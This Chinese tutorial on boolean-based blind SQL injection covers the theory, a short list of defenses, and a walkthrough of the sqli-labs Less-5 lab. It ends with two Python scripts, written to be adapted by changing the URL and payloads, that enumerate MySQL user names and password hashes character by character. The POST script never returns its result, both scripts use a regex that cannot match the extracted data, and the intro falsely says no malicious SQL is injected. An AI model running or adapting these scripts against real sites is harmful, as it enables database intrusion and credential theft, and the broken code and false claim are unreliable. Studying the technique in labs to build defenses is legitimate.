关于布尔盲注
什么是布尔盲注?
布尔盲注是一种 SQL 注入攻击技术,攻击者利用真假值来推断数据库中的信息。它不需要注入恶意 SQL 代码,而是通过观察服务器响应的差异来获取信息。
原理
布尔盲注利用了布尔运算符,例如and和or。攻击者构造 SQL 查询,其中包含一个布尔表达式,该表达式会根据数据库中数据的真假值返回不同的结果。
适用情况
页面没有显示位,没有报错信息,只有成功和不成功两种情况。
攻击步骤
第一步:猜测长度
一般在使用布尔盲注时,我们要准确的猜测出正确的数据库名或表名,我们需要先知道他的长度,这时我们需要用到MYSQL的length()函数来判断长度。
例如:
?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=n --+
猜测长度从一开始猜测,知道猜到正确长度为止,当猜测长度错误时,会没有回显或回显异常,猜测长度正确时,回显正常
第二步:利用穷举猜测字符
我们知道,查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),它们对应的ASCLL编码是32~126。
使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
例如:
?id=1' and ascii(substr( database(),1,1))=32 --+
?id=1' and ascii(substr( database(),1,1))=33 --+
?id=1' and ascii(substr( database(),1,1))=34 --+
......
?id=1' and ascii(substr( database(),1,1))=126 --+
这是猜测第一位字符的,那么猜测第n位字符则是
?id=1' and ascii(substr( database(),n,1))=x(32--126) --+
和猜测长度一样,当回显为空或者回显异常时,说明我们猜测的字符是错的,当回显正常时,说明我们猜测ASCLL编码所对应的字符是对的。
ASCLL编码表
总体思路
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
防御措施
防止布尔盲注攻击的最佳方法是使用安全编码实践,例如:
- 使用参数化查询或预编译语句:这可以防止 SQL 注入,因为它将用户输入与 SQL 查询分开。
- 对用户输入进行验证和清理:这可以防止攻击者注入恶意字符。
- 限制对敏感数据的访问:这可以减少攻击者可以访问的信息量。
- 使用 Web 应用程序防火墙 (WAF):这可以检测和阻止注入攻击。
- 定期更新软件和补丁程序:这可以修复已知的漏洞。
结论
布尔盲注是一种隐蔽且危险的 SQL 注入攻击技术。通过了解其原理和防御措施,Web 应用程序开发人员可以保护他们的应用程序免受此类攻击。
我么使用sqlli-labs靶场的第五关来解释一下布尔盲注的原理
sqlli-labs靶场第五关
输入
?id=1'
出现报错,判断字符型注入
输入
id=-1'order by 3--+
时没有回显,需要使用其他方法。。。
去搜了大佬们的WP,这儿我们需要使用布尔盲注
布尔盲注,需要耗费大量的时间,它主要用到length()、ascii() 、substr()这三个函数。
输入
?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=5 --+
?id=1' and length(database())=6 --+
?id=1' and length(database())=7 --+
?id=1' and length(database())=8 --+
判断字符长度,到8时回显正常,说明字符长度为8
我们查询到的结果由一个一个字符组成,每一个字符可以是数字、英文字母、特殊符号,总共有95种可能,对应的ascll编码是32-126.
使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
输入
?id=1' and ascii(substr( database(),1,1))=32(32-126)--+
没有回显就代表猜测的字符是错的
输入
?id=1' and ascii(substr( database(),1,1))=115--+
时出现回显,SCLL编码的115对应的是字母s,所以第一个字符就是s
接着猜测后面的字符
?id=1' and ascii(substr( database(),1(1--8),1))=32(32--126)--+
最后一个一个的猜解出的答案为security,我们就得到了他的数据库名,接着用相同的办法去爆表名,字段名,最后得到flag,这个过程很繁琐,需要花费很长的时间,所以大多都是使用脚本去跑的。
布尔盲注脚本
GET请求
import requests
import re
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://XXXXX"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
try:
length = getLength(url, payload_len)
user_pass = getStr(url, payload_str, length)
# 使用正则表达式提取用户名和密码
match = re.search(r"user: (.*?) password: (.*)", user_pass)
if match:
print("用户名:", match.group(1))
print("密码:", match.group(2))
else:
print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
print("HTTP请求失败:", e)
POST请求
import requests
import re
# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""
# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}
# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;
# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break
try:
length = getLen(payload_len)
user_pass = getStr(length)
# 使用正则表达式提取用户名和密码
match = re.search(r"user: (.*?) password: (.*)", user_pass)
if match:
print("用户名:", match.group(1))
print("密码:", match.group(2))
else:
print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
print("HTTP请求失败:", e)